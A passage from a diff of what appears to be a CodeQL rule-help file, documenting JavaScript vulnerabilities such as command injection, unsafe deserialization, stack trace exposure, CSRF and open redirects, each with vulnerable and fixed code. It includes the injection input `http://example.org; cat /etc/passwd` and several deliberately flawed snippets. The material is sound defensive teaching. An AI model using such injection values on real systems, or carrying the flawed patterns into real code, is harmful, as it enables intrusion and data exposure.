Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n" + "text" : "# Server crash\nServers handle requests from clients until terminated deliberately by a server administrator. A client request that results in an uncaught server-side exception causes the current server response generation to fail, and should not have an effect on subsequent client requests.\n\nUnder some circumstances, uncaught exceptions can however cause the entire server to terminate abruptly. Such a behavior is highly undesirable, especially if it gives malicious users the ability to turn off the server at will, which is an efficient denial-of-service attack.\n\n\n## Recommendation\nEnsure that the processing of client requests can not cause uncaught exceptions to terminate the entire server abruptly.\n\n\n## Example\nThe following server code checks if a client-provided file path is valid before saving data to that path. It would be reasonable to expect that the server responds with an error in case the request contains an invalid file path. However, the server instead throws an exception, which is uncaught in the context of the asynchronous callback invocation (`fs.access(...)`). This causes the entire server to terminate abruptly.\n\n\n```javascript\nconst express = require(\"express\"),\n fs = require(\"fs\");\n\nfunction save(rootDir, path, content) {\n if (!isValidPath(rootDir, req.query.filePath)) {\n throw new Error(`Invalid filePath: ${req.query.filePath}`); // BAD crashes the server\n }\n // write content to disk\n}\n\nexpress().post(\"/save\", (req, res) => {\n fs.access(rootDir, (err) => {\n if (err) {\n console.error(\n `Server setup is corrupted, ${rootDir} cannot be accessed!`\n );\n res.status(500);\n res.end();\n return;\n }\n save(rootDir, req.query.path, req.body);\n res.status(200);\n res.end();\n });\n});\n\n```\nTo remedy this, the server can catch the exception explicitly with a `try/catch` block, and generate an appropriate error response instead:\n\n\n```javascript\n// ...\nexpress().post(\"/save\", (req, res) => {\n fs.access(rootDir, (err) => {\n // ...\n try {\n save(rootDir, req.query.path, req.body); // GOOD exception is caught below\n res.status(200);\n res.end();\n } catch (e) {\n res.status(500);\n res.end();\n }\n });\n});\n\n```\nTo simplify exception handling, it may be advisable to switch to async/await syntax instead of using callbacks, which allows wrapping the entire request handler in a `try/catch` block:\n\n\n```javascript\n// ...\nexpress().post(\"/save\", async (req, res) => {\n try {\n await fs.promises.access(rootDir);\n save(rootDir, req.query.path, req.body); // GOOD exception is caught below\n res.status(200);\n res.end();\n } catch (e) {\n res.status(500);\n res.end();\n }\n});\n\n```\n\n## References\n* Common Weakness Enumeration: [CWE-248](https://cwe.mitre.org/data/definitions/248.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n", + "markdown" : "# Server crash\nServers handle requests from clients until terminated deliberately by a server administrator. A client request that results in an uncaught server-side exception causes the current server response generation to fail, and should not have an effect on subsequent client requests.\n\nUnder some circumstances, uncaught exceptions can however cause the entire server to terminate abruptly. Such a behavior is highly undesirable, especially if it gives malicious users the ability to turn off the server at will, which is an efficient denial-of-service attack.\n\n\n## Recommendation\nEnsure that the processing of client requests can not cause uncaught exceptions to terminate the entire server abruptly.\n\n\n## Example\nThe following server code checks if a client-provided file path is valid before saving data to that path. It would be reasonable to expect that the server responds with an error in case the request contains an invalid file path. However, the server instead throws an exception, which is uncaught in the context of the asynchronous callback invocation (`fs.access(...)`). This causes the entire server to terminate abruptly.\n\n\n```javascript\nconst express = require(\"express\"),\n fs = require(\"fs\");\n\nfunction save(rootDir, path, content) {\n if (!isValidPath(rootDir, req.query.filePath)) {\n throw new Error(`Invalid filePath: ${req.query.filePath}`); // BAD crashes the server\n }\n // write content to disk\n}\n\nexpress().post(\"/save\", (req, res) => {\n fs.access(rootDir, (err) => {\n if (err) {\n console.error(\n `Server setup is corrupted, ${rootDir} cannot be accessed!`\n );\n res.status(500);\n res.end();\n return;\n }\n save(rootDir, req.query.path, req.body);\n res.status(200);\n res.end();\n });\n});\n\n```\nTo remedy this, the server can catch the exception explicitly with a `try/catch` block, and generate an appropriate error response instead:\n\n\n```javascript\n// ...\nexpress().post(\"/save\", (req, res) => {\n fs.access(rootDir, (err) => {\n // ...\n try {\n save(rootDir, req.query.path, req.body); // GOOD exception is caught below\n res.status(200);\n res.end();\n } catch (e) {\n res.status(500);\n res.end();\n }\n });\n});\n\n```\nTo simplify exception handling, it may be advisable to switch to async/await syntax instead of using callbacks, which allows wrapping the entire request handler in a `try/catch` block:\n\n\n```javascript\n// ...\nexpress().post(\"/save\", async (req, res) => {\n try {\n await fs.promises.access(rootDir);\n save(rootDir, req.query.path, req.body); // GOOD exception is caught below\n res.status(200);\n res.end();\n } catch (e) {\n res.status(500);\n res.end();\n }\n});\n\n```\n\n## References\n* Common Weakness Enumeration: [CWE-248](https://cwe.mitre.org/data/definitions/248.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n" }, "properties" : { - "tags" : [ "correctness", "security", "external/cwe/cwe-078", "external/cwe/cwe-088" ], - "description" : "Using externally controlled strings in a command line may allow a malicious\n user to change the meaning of the command.", - "id" : "js/command-line-injection", + "tags" : [ "security", "external/cwe/cwe-248", "external/cwe/cwe-730" ], + "description" : "A server that can be forced to crash may be vulnerable to denial-of-service\n attacks.", + "id" : "js/server-crash", "kind" : "path-problem", - "name" : "Uncontrolled command line", + "name" : "Server crash", "precision" : "high", - "problem.severity" : "error", - "security-severity" : "9.8" + "problem.severity" : "warning", + "security-severity" : "7.5" } }, { - "id" : "js/unnecessary-use-of-cat", - "name" : "js/unnecessary-use-of-cat", + "id" : "js/stack-trace-exposure", + "name" : "js/stack-trace-exposure", "shortDescription" : { - "text" : "Unnecessary use of `cat` process" + "text" : "Information exposure through a stack trace" }, "fullDescription" : { - "text" : "Using the `cat` process to read a file is unnecessarily complex, inefficient, unportable, and can lead to subtle bugs, or even security vulnerabilities." + "text" : "Propagating stack trace information to an external user can unintentionally reveal implementation details that are useful to an attacker for developing a subsequent exploit." }, "defaultConfiguration" : { "enabled" : true, - "level" : "error" + "level" : "warning" }, "help" : { - "text" : "# Unnecessary use of `cat` process\nUsing the unix command `cat` only to read a file is an unnecessarily complex way to achieve something that can be done in a simpler and safer manner using the Node.js `fs.readFile` API.\n\nThe use of `cat` for simple file reads leads to code that is unportable, inefficient, complex, and can lead to subtle bugs or even security vulnerabilities.\n\n\n## Recommendation\nUse `fs.readFile` or `fs.readFileSync` to read files from the file system.\n\n\n## Example\nThe following example shows code that reads a file using `cat`:\n\n\n```javascript\nvar child_process = require('child_process');\n\nmodule.exports = function (name) {\n return child_process.execSync(\"cat \" + name).toString();\n};\n\n```\nThe code in the example will break if the input `name` contains special characters (including space). Additionally, it does not work on Windows and if the input is user-controlled, a command injection attack can happen.\n\nThe `fs.readFile` API should be used to avoid these potential issues:\n\n\n```javascript\nvar fs = require('fs');\n\nmodule.exports = function (name) {\n return fs.readFileSync(name).toString();\n};\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* Node.js: [File System API](https://nodejs.org/api/fs.html).\n* [The Useless Use of Cat Award](http://porkmail.org/era/unix/award.html#cat).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n", - "markdown" : "# Unnecessary use of `cat` process\nUsing the unix command `cat` only to read a file is an unnecessarily complex way to achieve something that can be done in a simpler and safer manner using the Node.js `fs.readFile` API.\n\nThe use of `cat` for simple file reads leads to code that is unportable, inefficient, complex, and can lead to subtle bugs or even security vulnerabilities.\n\n\n## Recommendation\nUse `fs.readFile` or `fs.readFileSync` to read files from the file system.\n\n\n## Example\nThe following example shows code that reads a file using `cat`:\n\n\n```javascript\nvar child_process = require('child_process');\n\nmodule.exports = function (name) {\n return child_process.execSync(\"cat \" + name).toString();\n};\n\n```\nThe code in the example will break if the input `name` contains special characters (including space). Additionally, it does not work on Windows and if the input is user-controlled, a command injection attack can happen.\n\nThe `fs.readFile` API should be used to avoid these potential issues:\n\n\n```javascript\nvar fs = require('fs');\n\nmodule.exports = function (name) {\n return fs.readFileSync(name).toString();\n};\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* Node.js: [File System API](https://nodejs.org/api/fs.html).\n* [The Useless Use of Cat Award](http://porkmail.org/era/unix/award.html#cat).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n" + "text" : "# Information exposure through a stack trace\nSoftware developers often add stack traces to error messages, as a debugging aid. Whenever that error message occurs for an end user, the developer can use the stack trace to help identify how to fix the problem. In particular, stack traces can tell the developer more about the sequence of events that led to a failure, as opposed to merely the final state of the software when the error occurred.\n\nUnfortunately, the same information can be useful to an attacker. The sequence of function names in a stack trace can reveal the structure of the application as well as any internal components it relies on. Furthermore, the error message at the top of a stack trace can include information such as server-side file names and SQL code that the application relies on, allowing an attacker to fine-tune a subsequent injection attack.\n\n\n## Recommendation\nSend the user a more generic error message that reveals less information. Either suppress the stack trace entirely, or log it only on the server.\n\n\n## Example\nIn the following example, an exception is caught and its stack trace is sent back to the remote user as part of the HTTP response. As such, the user is able to see a detailed stack trace, which may contain sensitive information.\n\n\n```javascript\nvar http = require('http');\n\nhttp.createServer(function onRequest(req, res) {\n var body;\n try {\n body = handleRequest(req);\n }\n catch (err) {\n res.statusCode = 500;\n res.setHeader(\"Content-Type\", \"text/plain\");\n res.end(err.stack); // NOT OK\n return;\n }\n res.statusCode = 200;\n res.setHeader(\"Content-Type\", \"application/json\");\n res.setHeader(\"Content-Length\", body.length);\n res.end(body);\n}).listen(3000);\n\n```\nInstead, the stack trace should be logged only on the server. That way, the developers can still access and use the error log, but remote users will not see the information:\n\n\n```javascript\nvar http = require('http');\n\nhttp.createServer(function onRequest(req, res) {\n var body;\n try {\n body = handleRequest(req);\n }\n catch (err) {\n res.statusCode = 500;\n res.setHeader(\"Content-Type\", \"text/plain\");\n log(\"Exception occurred\", err.stack);\n res.end(\"An exception occurred\"); // OK\n return;\n }\n res.statusCode = 200;\n res.setHeader(\"Content-Type\", \"application/json\");\n res.setHeader(\"Content-Length\", body.length);\n res.end(body);\n}).listen(3000);\n\n```\n\n## References\n* OWASP: [Improper Error Handling](https://owasp.org/www-community/Improper_Error_Handling).\n* Common Weakness Enumeration: [CWE-209](https://cwe.mitre.org/data/definitions/209.html).\n* Common Weakness Enumeration: [CWE-497](https://cwe.mitre.org/data/definitions/497.html).\n", + "markdown" : "# Information exposure through a stack trace\nSoftware developers often add stack traces to error messages, as a debugging aid. Whenever that error message occurs for an end user, the developer can use the stack trace to help identify how to fix the problem. In particular, stack traces can tell the developer more about the sequence of events that led to a failure, as opposed to merely the final state of the software when the error occurred.\n\nUnfortunately, the same information can be useful to an attacker. The sequence of function names in a stack trace can reveal the structure of the application as well as any internal components it relies on. Furthermore, the error message at the top of a stack trace can include information such as server-side file names and SQL code that the application relies on, allowing an attacker to fine-tune a subsequent injection attack.\n\n\n## Recommendation\nSend the user a more generic error message that reveals less information. Either suppress the stack trace entirely, or log it only on the server.\n\n\n## Example\nIn the following example, an exception is caught and its stack trace is sent back to the remote user as part of the HTTP response. As such, the user is able to see a detailed stack trace, which may contain sensitive information.\n\n\n```javascript\nvar http = require('http');\n\nhttp.createServer(function onRequest(req, res) {\n var body;\n try {\n body = handleRequest(req);\n }\n catch (err) {\n res.statusCode = 500;\n res.setHeader(\"Content-Type\", \"text/plain\");\n res.end(err.stack); // NOT OK\n return;\n }\n res.statusCode = 200;\n res.setHeader(\"Content-Type\", \"application/json\");\n res.setHeader(\"Content-Length\", body.length);\n res.end(body);\n}).listen(3000);\n\n```\nInstead, the stack trace should be logged only on the server. That way, the developers can still access and use the error log, but remote users will not see the information:\n\n\n```javascript\nvar http = require('http');\n\nhttp.createServer(function onRequest(req, res) {\n var body;\n try {\n body = handleRequest(req);\n }\n catch (err) {\n res.statusCode = 500;\n res.setHeader(\"Content-Type\", \"text/plain\");\n log(\"Exception occurred\", err.stack);\n res.end(\"An exception occurred\"); // OK\n return;\n }\n res.statusCode = 200;\n res.setHeader(\"Content-Type\", \"application/json\");\n res.setHeader(\"Content-Length\", body.length);\n res.end(body);\n}).listen(3000);\n\n```\n\n## References\n* OWASP: [Improper Error Handling](https://owasp.org/www-community/Improper_Error_Handling).\n* Common Weakness Enumeration: [CWE-209](https://cwe.mitre.org/data/definitions/209.html).\n* Common Weakness Enumeration: [CWE-497](https://cwe.mitre.org/data/definitions/497.html).\n" }, "properties" : { - "tags" : [ "correctness", "security", "maintainability", "external/cwe/cwe-078" ], - "description" : "Using the `cat` process to read a file is unnecessarily complex, inefficient, unportable, and can lead to subtle bugs, or even security vulnerabilities.", - "id" : "js/unnecessary-use-of-cat", - "kind" : "problem", - "name" : "Unnecessary use of `cat` process", - "precision" : "high", - "problem.severity" : "error", - "security-severity" : "6.3" + "tags" : [ "security", "external/cwe/cwe-209", "external/cwe/cwe-497" ], + "description" : "Propagating stack trace information to an external user can\n unintentionally reveal implementation details that are useful\n to an attacker for developing a subsequent exploit.", + "id" : "js/stack-trace-exposure", + "kind" : "path-problem", + "name" : "Information exposure through a stack trace", + "precision" : "very-high", + "problem.severity" : "warning", + "security-severity" : "5.4" } }, { - "id" : "js/shell-command-constructed-from-input", - "name" : "js/shell-command-constructed-from-input", + "id" : "js/unsafe-deserialization", + "name" : "js/unsafe-deserialization", "shortDescription" : { - "text" : "Unsafe shell command constructed from library input" + "text" : "Deserialization of user-controlled data" }, "fullDescription" : { - "text" : "Using externally controlled strings in a command line may allow a malicious user to change the meaning of the command." + "text" : "Deserializing user-controlled data may allow attackers to execute arbitrary code." }, "defaultConfiguration" : { "enabled" : true, - "level" : "error" + "level" : "warning" }, "help" : { - "text" : "# Unsafe shell command constructed from library input\nDynamically constructing a shell command with inputs from exported functions may inadvertently change the meaning of the shell command. Clients using the exported function may use inputs containing characters that the shell interprets in a special way, for instance quotes and spaces. This can result in the shell command misbehaving, or even allowing a malicious user to execute arbitrary commands on the system.\n\n\n## Recommendation\nIf possible, provide the dynamic arguments to the shell as an array using a safe API such as `child_process.execFile` to avoid interpretation by the shell.\n\nIf given arguments as a single string, avoid simply splitting the string on whitespace. Arguments may contain quoted whitespace, causing them to split into multiple arguments. Use a library like `shell-quote` to parse the string into an array of arguments instead.\n\nAlternatively, if the command must be interpreted by a shell (for example because it includes I/O redirections), you can use `shell-quote` to escape any special characters in the input before embedding it in the command.\n\n\n## Example\nThe following example shows a dynamically constructed shell command that downloads a file from a remote URL.\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n cp.exec(\"wget \" + path, callback);\n}\n\n```\nThe shell command will, however, fail to work as intended if the input contains spaces or other special characters interpreted in a special way by the shell.\n\nEven worse, a client might pass in user-controlled data, not knowing that the input is interpreted as a shell command. This could allow a malicious user to provide the input `http://example.org; cat /etc/passwd` in order to execute the command `cat /etc/passwd`.\n\nTo avoid such potentially catastrophic behaviors, provide the inputs from exported functions as an argument that does not get interpreted by a shell:\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n cp.execFile(\"wget\", [path], callback);\n}\n\n```\nAs another example, consider the following code which is similar to the preceding example, but pipes the output of `wget` into `wc -l` to count the number of lines in the downloaded file.\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n cp.exec(\"wget \" + path + \" | wc -l\", callback);\n};\n\n```\nIn this case, using `child_process.execFile` is not an option because the shell is needed to interpret the pipe operator. Instead, you can use `shell-quote` to escape the input before embedding it in the command:\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n cp.exec(\"wget \" + shellQuote.quote([path]) + \" | wc -l\", callback);\n};\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* npm: [shell-quote](https://www.npmjs.com/package/shell-quote).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n", - "markdown" : "# Unsafe shell command constructed from library input\nDynamically constructing a shell command with inputs from exported functions may inadvertently change the meaning of the shell command. Clients using the exported function may use inputs containing characters that the shell interprets in a special way, for instance quotes and spaces. This can result in the shell command misbehaving, or even allowing a malicious user to execute arbitrary commands on the system.\n\n\n## Recommendation\nIf possible, provide the dynamic arguments to the shell as an array using a safe API such as `child_process.execFile` to avoid interpretation by the shell.\n\nIf given arguments as a single string, avoid simply splitting the string on whitespace. Arguments may contain quoted whitespace, causing them to split into multiple arguments. Use a library like `shell-quote` to parse the string into an array of arguments instead.\n\nAlternatively, if the command must be interpreted by a shell (for example because it includes I/O redirections), you can use `shell-quote` to escape any special characters in the input before embedding it in the command.\n\n\n## Example\nThe following example shows a dynamically constructed shell command that downloads a file from a remote URL.\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n cp.exec(\"wget \" + path, callback);\n}\n\n```\nThe shell command will, however, fail to work as intended if the input contains spaces or other special characters interpreted in a special way by the shell.\n\nEven worse, a client might pass in user-controlled data, not knowing that the input is interpreted as a shell command. This could allow a malicious user to provide the input `http://example.org; cat /etc/passwd` in order to execute the command `cat /etc/passwd`.\n\nTo avoid such potentially catastrophic behaviors, provide the inputs from exported functions as an argument that does not get interpreted by a shell:\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n cp.execFile(\"wget\", [path], callback);\n}\n\n```\nAs another example, consider the following code which is similar to the preceding example, but pipes the output of `wget` into `wc -l` to count the number of lines in the downloaded file.\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n cp.exec(\"wget \" + path + \" | wc -l\", callback);\n};\n\n```\nIn this case, using `child_process.execFile` is not an option because the shell is needed to interpret the pipe operator. Instead, you can use `shell-quote` to escape the input before embedding it in the command:\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n cp.exec(\"wget \" + shellQuote.quote([path]) + \" | wc -l\", callback);\n};\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* npm: [shell-quote](https://www.npmjs.com/package/shell-quote).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n" + "text" : "# Deserialization of user-controlled data\nDeserializing untrusted data using any deserialization framework that allows the construction of arbitrary functions is easily exploitable and, in many cases, allows an attacker to execute arbitrary code.\n\n\n## Recommendation\nAvoid deserialization of untrusted data if at all possible. If the architecture permits it, then use formats like JSON or XML that cannot represent functions. When using YAML or other formats that support the serialization and deserialization of functions, ensure that the parser is configured to disable deserialization of arbitrary functions.\n\n\n## Example\nThe following example calls the `load` function of the popular `js-yaml` package on data that comes from an HTTP request and hence is inherently unsafe.\n\n\n```javascript\nconst app = require(\"express\")(),\n jsyaml = require(\"js-yaml\");\n\napp.get(\"load\", function(req, res) {\n let data = jsyaml.load(req.params.data);\n // ...\n});\n\n```\nUsing the `safeLoad` function instead (which does not deserialize YAML-encoded functions) removes the vulnerability.\n\n\n```javascript\nconst app = require(\"express\")(),\n jsyaml = require(\"js-yaml\");\n\napp.get(\"load\", function(req, res) {\n let data = jsyaml.safeLoad(req.params.data);\n // ...\n});\n\n```\n\n## References\n* OWASP vulnerability description: [Deserialization of untrusted data](https://www.owasp.org/index.php/Deserialization_of_untrusted_data).\n* OWASP guidance on deserializing objects: [Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html).\n* Neal Poole: [Code Execution via YAML in JS-YAML Node.js Module](https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/).\n* Common Weakness Enumeration: [CWE-502](https://cwe.mitre.org/data/definitions/502.html).\n", + "markdown" : "# Deserialization of user-controlled data\nDeserializing untrusted data using any deserialization framework that allows the construction of arbitrary functions is easily exploitable and, in many cases, allows an attacker to execute arbitrary code.\n\n\n## Recommendation\nAvoid deserialization of untrusted data if at all possible. If the architecture permits it, then use formats like JSON or XML that cannot represent functions. When using YAML or other formats that support the serialization and deserialization of functions, ensure that the parser is configured to disable deserialization of arbitrary functions.\n\n\n## Example\nThe following example calls the `load` function of the popular `js-yaml` package on data that comes from an HTTP request and hence is inherently unsafe.\n\n\n```javascript\nconst app = require(\"express\")(),\n jsyaml = require(\"js-yaml\");\n\napp.get(\"load\", function(req, res) {\n let data = jsyaml.load(req.params.data);\n // ...\n});\n\n```\nUsing the `safeLoad` function instead (which does not deserialize YAML-encoded functions) removes the vulnerability.\n\n\n```javascript\nconst app = require(\"express\")(),\n jsyaml = require(\"js-yaml\");\n\napp.get(\"load\", function(req, res) {\n let data = jsyaml.safeLoad(req.params.data);\n // ...\n});\n\n```\n\n## References\n* OWASP vulnerability description: [Deserialization of untrusted data](https://www.owasp.org/index.php/Deserialization_of_untrusted_data).\n* OWASP guidance on deserializing objects: [Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html).\n* Neal Poole: [Code Execution via YAML in JS-YAML Node.js Module](https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/).\n* Common Weakness Enumeration: [CWE-502](https://cwe.mitre.org/data/definitions/502.html).\n" }, "properties" : { - "tags" : [ "correctness", "security", "external/cwe/cwe-078", "external/cwe/cwe-088" ], - "description" : "Using externally controlled strings in a command line may allow a malicious\n user to change the meaning of the command.", - "id" : "js/shell-command-constructed-from-input", + "tags" : [ "security", "external/cwe/cwe-502" ], + "description" : "Deserializing user-controlled data may allow attackers to\n execute arbitrary code.", + "id" : "js/unsafe-deserialization", "kind" : "path-problem", - "name" : "Unsafe shell command constructed from library input", + "name" : "Deserialization of user-controlled data", "precision" : "high", - "problem.severity" : "error", - "security-severity" : "6.3" + "problem.severity" : "warning", + "security-severity" : "9.8" } }, { "id" : "js/sensitive-get-query", @@ -1542,166 +1704,112 @@ "security-severity" : "6.5" } }, { - "id" : "js/missing-token-validation", - "name" : "js/missing-token-validation", - "shortDescription" : { - "text" : "Missing CSRF middleware" - }, - "fullDescription" : { - "text" : "Using cookies without CSRF protection may allow malicious websites to submit requests on behalf of the user." - }, - "defaultConfiguration" : { - "enabled" : true, - "level" : "error" - }, - "help" : { - "text" : "# Missing CSRF middleware\nWebsites that rely on cookie-based authentication may be vulnerable to cross-site request forgery (CSRF). Specifically, a state-changing request should include a secret token so the request can't be forged by an attacker. Otherwise, unwanted requests can be submitted on behalf of a user who visits a malicious website.\n\nThis is typically mitigated by embedding a session-specific secret token in each request. This token is then checked as an additional authentication measure. A malicious website should have no way of guessing the correct token to embed in the request.\n\n\n## Recommendation\nUse a middleware package such as `lusca.csrf` to protect against CSRF attacks.\n\n\n## Example\nIn the example below, the server authenticates users before performing the `changeEmail` POST action:\n\n\n```javascript\nconst app = require(\"express\")(),\n cookieParser = require(\"cookie-parser\"),\n bodyParser = require(\"body-parser\"),\n session = require(\"express-session\");\n\napp.use(cookieParser());\napp.use(bodyParser.urlencoded({ extended: false }));\napp.use(session({ secret: process.env['SECRET'], cookie: { maxAge: 60000 } }));\n\n// ...\n\napp.post(\"/changeEmail\", function(req, res) {\n const userId = req.session.id;\n const email = req.body[\"email\"];\n // ... update email associated with userId\n});\n\n```\nThis is not secure. An attacker can submit a POST `changeEmail` request on behalf of a user who visited a malicious website. Since authentication happens without any action from the user, the `changeEmail` action would be executed, despite not being initiated by the user.\n\nThis vulnerability can be mitigated by installing a CSRF protecting middleware handler:\n\n\n```javascript\nconst app = require(\"express\")(),\n cookieParser = require(\"cookie-parser\"),\n bodyParser = require(\"body-parser\"),\n session = require(\"express-session\"),\n csrf = require('lusca').csrf;\n\napp.use(cookieParser());\napp.use(bodyParser.urlencoded({ extended: false }));\napp.use(session({ secret: process.env['SECRET'], cookie: { maxAge: 60000 } }));\napp.use(csrf());\n\n// ...\n\napp.post(\"/changeEmail\", function(req, res) {\n const userId = req.session.id;\n const email = req.body[\"email\"];\n // ... update email associated with userId\n});\n\n```\n\n## References\n* OWASP: [Cross-Site Request Forgery (CSRF)](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF))\n* NPM: [lusca](https://www.npmjs.com/package/lusca)\n* Common Weakness Enumeration: [CWE-352](https://cwe.mitre.org/data/definitions/352.html).\n", - "markdown" : "# Missing CSRF middleware\nWebsites that rely on cookie-based authentication may be vulnerable to cross-site request forgery (CSRF). Specifically, a state-changing request should include a secret token so the request can't be forged by an attacker. Otherwise, unwanted requests can be submitted on behalf of a user who visits a malicious website.\n\nThis is typically mitigated by embedding a session-specific secret token in each request. This token is then checked as an additional authentication measure. A malicious website should have no way of guessing the correct token to embed in the request.\n\n\n## Recommendation\nUse a middleware package such as `lusca.csrf` to protect against CSRF attacks.\n\n\n## Example\nIn the example below, the server authenticates users before performing the `changeEmail` POST action:\n\n\n```javascript\nconst app = require(\"express\")(),\n cookieParser = require(\"cookie-parser\"),\n bodyParser = require(\"body-parser\"),\n session = require(\"express-session\");\n\napp.use(cookieParser());\napp.use(bodyParser.urlencoded({ extended: false }));\napp.use(session({ secret: process.env['SECRET'], cookie: { maxAge: 60000 } }));\n\n// ...\n\napp.post(\"/changeEmail\", function(req, res) {\n const userId = req.session.id;\n const email = req.body[\"email\"];\n // ... update email associated with userId\n});\n\n```\nThis is not secure. An attacker can submit a POST `changeEmail` request on behalf of a user who visited a malicious website. Since authentication happens without any action from the user, the `changeEmail` action would be executed, despite not being initiated by the user.\n\nThis vulnerability can be mitigated by installing a CSRF protecting middleware handler:\n\n\n```javascript\nconst app = require(\"express\")(),\n cookieParser = require(\"cookie-parser\"),\n bodyParser = require(\"body-parser\"),\n session = require(\"express-session\"),\n csrf = require('lusca').csrf;\n\napp.use(cookieParser());\napp.use(bodyParser.urlencoded({ extended: false }));\napp.use(session({ secret: process.env['SECRET'], cookie: { maxAge: 60000 } }));\napp.use(csrf());\n\n// ...\n\napp.post(\"/changeEmail\", function(req, res) {\n const userId = req.session.id;\n const email = req.body[\"email\"];\n // ... update email associated with userId\n});\n\n```\n\n## References\n* OWASP: [Cross-Site Request Forgery (CSRF)](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF))\n* NPM: [lusca](https://www.npmjs.com/package/lusca)\n* Common Weakness Enumeration: [CWE-352](https://cwe.mitre.org/data/definitions/352.html).\n" - }, - "properties" : { - "tags" : [ "security", "external/cwe/cwe-352" ], - "description" : "Using cookies without CSRF protection may allow malicious websites to\n submit requests on behalf of the user.", - "id" : "js/missing-token-validation", - "kind" : "problem", - "name" : "Missing CSRF middleware", - "precision" : "high", - "problem.severity" : "error", - "security-severity" : "8.8" - } - }, { - "id" : "js/server-side-unvalidated-url-redirection", - "name" : "js/server-side-unvalidated-url-redirection", + "id" : "js/functionality-from-untrusted-source", + "name" : "js/functionality-from-untrusted-source", "shortDescription" : { - "text" : "Server-side URL redirect" + "text" : "Inclusion of functionality from an untrusted source" }, "fullDescription" : { - "text" : "Server-side URL redirection based on unvalidated user input may cause redirection to malicious web sites." + "text" : "Including functionality from an untrusted source may allow an attacker to control the functionality and execute arbitrary code." }, "defaultConfiguration" : { "enabled" : true, "level" : "warning" }, "help" : { - "text" : "# Server-side URL redirect\nDirectly incorporating user input into a URL redirect request without validating the input can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker.\n\n\n## Recommendation\nTo guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided.\n\nIf this is not possible, then the user input should be validated in some other way, for example, by verifying that the target URL is on the same host as the current page.\n\n\n## Example\nThe following example shows an HTTP request parameter being used directly in a URL redirect without validating the input, which facilitates phishing attacks:\n\n\n```javascript\nconst app = require(\"express\")();\n\napp.get(\"/redirect\", function (req, res) {\n // BAD: a request parameter is incorporated without validation into a URL redirect\n res.redirect(req.query[\"target\"]);\n});\n\n```\nOne way to remedy the problem is to validate the user input against a known fixed string before doing the redirection:\n\n\n```javascript\nconst app = require(\"express\")();\n\nconst VALID_REDIRECT = \"http://cwe.mitre.org/data/definitions/601.html\";\n\napp.get(\"/redirect\", function (req, res) {\n // GOOD: the request parameter is validated against a known fixed string\n let target = req.query[\"target\"];\n if (VALID_REDIRECT === target) {\n res.redirect(target);\n } else {\n res.redirect(\"/\");\n }\n});\n\n```\nAlternatively, we can check that the target URL does not redirect to a different host by parsing it relative to a base URL with a known host and verifying that the host stays the same:\n\n\n```javascript\nconst app = require(\"express\")();\n\nfunction isLocalUrl(path) {\n try {\n return (\n // TODO: consider substituting your own domain for example.com\n new URL(path, \"https://example.com\").origin === \"https://example.com\"\n );\n } catch (e) {\n return false;\n }\n}\n\napp.get(\"/redirect\", function (req, res) {\n // GOOD: check that we don't redirect to a different host\n let target = req.query[\"target\"];\n if (isLocalUrl(target)) {\n res.redirect(target);\n } else {\n res.redirect(\"/\");\n }\n});\n\n```\nNote that as written, the above code will allow redirects to URLs on `example.com`, which is harmless but perhaps not intended. You can substitute your own domain (if known) for `example.com` to prevent this.\n\n\n## References\n* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html).\n", - "markdown" : "# Server-side URL redirect\nDirectly incorporating user input into a URL redirect request without validating the input can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker.\n\n\n## Recommendation\nTo guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided.\n\nIf this is not possible, then the user input should 